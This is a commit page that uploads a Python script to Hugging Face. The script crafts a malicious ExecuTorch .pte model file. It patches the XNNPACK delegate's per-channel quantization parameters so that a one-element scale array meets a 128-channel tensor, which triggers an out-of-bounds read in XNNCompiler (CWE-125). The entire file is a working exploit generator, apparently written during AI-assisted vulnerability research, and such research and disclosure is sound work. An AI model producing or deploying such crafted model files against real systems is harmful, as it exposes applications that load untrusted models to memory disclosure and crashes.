Upload craft_xnn_oob.py with huggingface_hub
Browse files- craft_xnn_oob.py +51 -0
craft_xnn_oob.py
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
# Craft malicious .pte: make PerChannelQuant use an INLINE scale of length 1 (scale_buffer_idx=0,
|
| 3 |
+
# scale=[1.0]) while the quantized tensor keeps dims[channel_dim]=128. XNNCompiler.cpp:519 takes
|
| 4 |
+
# scale=qparams->scale()->data() and passes it with channel_dim to XNNPACK, which reads
|
| 5 |
+
# dims[channel_dim]=128 floats -> OOB read past the 1-element inline scale vector (CWE-125).
|
| 6 |
+
import json, subprocess, tempfile, sys
|
| 7 |
+
OUT = "/mnt/c/Users/A/AppData/Local/Temp/claude/C--Users-A-idea-security/3ebe7ed1-e1f0-439b-89dd-99e02abb9f01/scratchpad"
|
| 8 |
+
def log(*a): print(*a, flush=True)
|
| 9 |
+
from executorch.exir._serialize import _program as P
|
| 10 |
+
from executorch.backends.xnnpack.serialization import xnnpack_graph_serialize as XS
|
| 11 |
+
XNNHeader = XS.XNNHeader
|
| 12 |
+
|
| 13 |
+
buf = open(OUT + "/xnn.pte", "rb").read()
|
| 14 |
+
pte = P.deserialize_pte_binary(buf); prog = pte.program
|
| 15 |
+
blob = bytes(prog.backend_delegate_data[0].data)
|
| 16 |
+
hdr = XNNHeader.from_bytes(blob[:30])
|
| 17 |
+
fb = blob[hdr.flatbuffer_offset: hdr.flatbuffer_offset + hdr.flatbuffer_size]
|
| 18 |
+
tail = blob[hdr.flatbuffer_offset + hdr.flatbuffer_size:]
|
| 19 |
+
|
| 20 |
+
schema = XS._get_schema_bytes(); td = tempfile.mkdtemp()
|
| 21 |
+
open(td + "/schema.fbs", "wb").write(schema); open(td + "/g.bin", "wb").write(fb)
|
| 22 |
+
subprocess.run(["flatc", "--json", "--strict-json", "--raw-binary", "-o", td, td + "/schema.fbs", "--", td + "/g.bin"], check=True)
|
| 23 |
+
j = json.load(open(td + "/g.json"))
|
| 24 |
+
|
| 25 |
+
patched = 0
|
| 26 |
+
for xv in j.get("xvalues", []):
|
| 27 |
+
u = xv.get("xvalue_union", {})
|
| 28 |
+
if xv.get("xvalue_union_type") == "XNNQuantizedTensorValue" and u.get("quant_params_type") == "PerChannelQuant":
|
| 29 |
+
qp = u["quant_params"]; tv = u.get("tensor_value", {})
|
| 30 |
+
log(" before: dims", tv.get("dims"), "channel_dim", qp.get("channel_dim"),
|
| 31 |
+
"scale_buffer_idx", qp.get("scale_buffer_idx"), "num_scales", qp.get("num_scales"))
|
| 32 |
+
qp["scale_buffer_idx"] = 0 # force XNNCompiler to use the inline scale()->data()
|
| 33 |
+
qp["scale"] = [1.0] # inline scale vector of length 1
|
| 34 |
+
qp["num_scales"] = 1
|
| 35 |
+
# dims[channel_dim] stays 128 -> XNNPACK reads 128 scales from the 1-element buffer
|
| 36 |
+
patched += 1
|
| 37 |
+
log("patched:", patched); assert patched
|
| 38 |
+
|
| 39 |
+
open(td + "/g2.json", "w").write(json.dumps(j))
|
| 40 |
+
subprocess.run(["flatc", "--binary", "--strict-json", "-o", td, td + "/schema.fbs", td + "/g2.json"], check=True)
|
| 41 |
+
new_fb = open(td + "/g2.bin", "rb").read()
|
| 42 |
+
new_hdr = XNNHeader(flatbuffer_offset=hdr.flatbuffer_offset, flatbuffer_size=len(new_fb),
|
| 43 |
+
constant_data_offset=hdr.flatbuffer_offset + len(new_fb),
|
| 44 |
+
constant_data_size=hdr.constant_data_size)
|
| 45 |
+
hb = new_hdr.to_bytes()
|
| 46 |
+
hb = hb + b"\x00" * (hdr.flatbuffer_offset - len(hb))
|
| 47 |
+
new_blob = hb + new_fb + tail
|
| 48 |
+
prog.backend_delegate_data[0].data = new_blob
|
| 49 |
+
mal = bytes(P.serialize_pte_binary(pte))
|
| 50 |
+
open(OUT + "/malicious_xnnpack_scale_oob.pte", "wb").write(mal)
|
| 51 |
+
log("wrote malicious_xnnpack_scale_oob.pte", len(mal), "(new_fb", len(new_fb), "orig", hdr.flatbuffer_size, ")")
|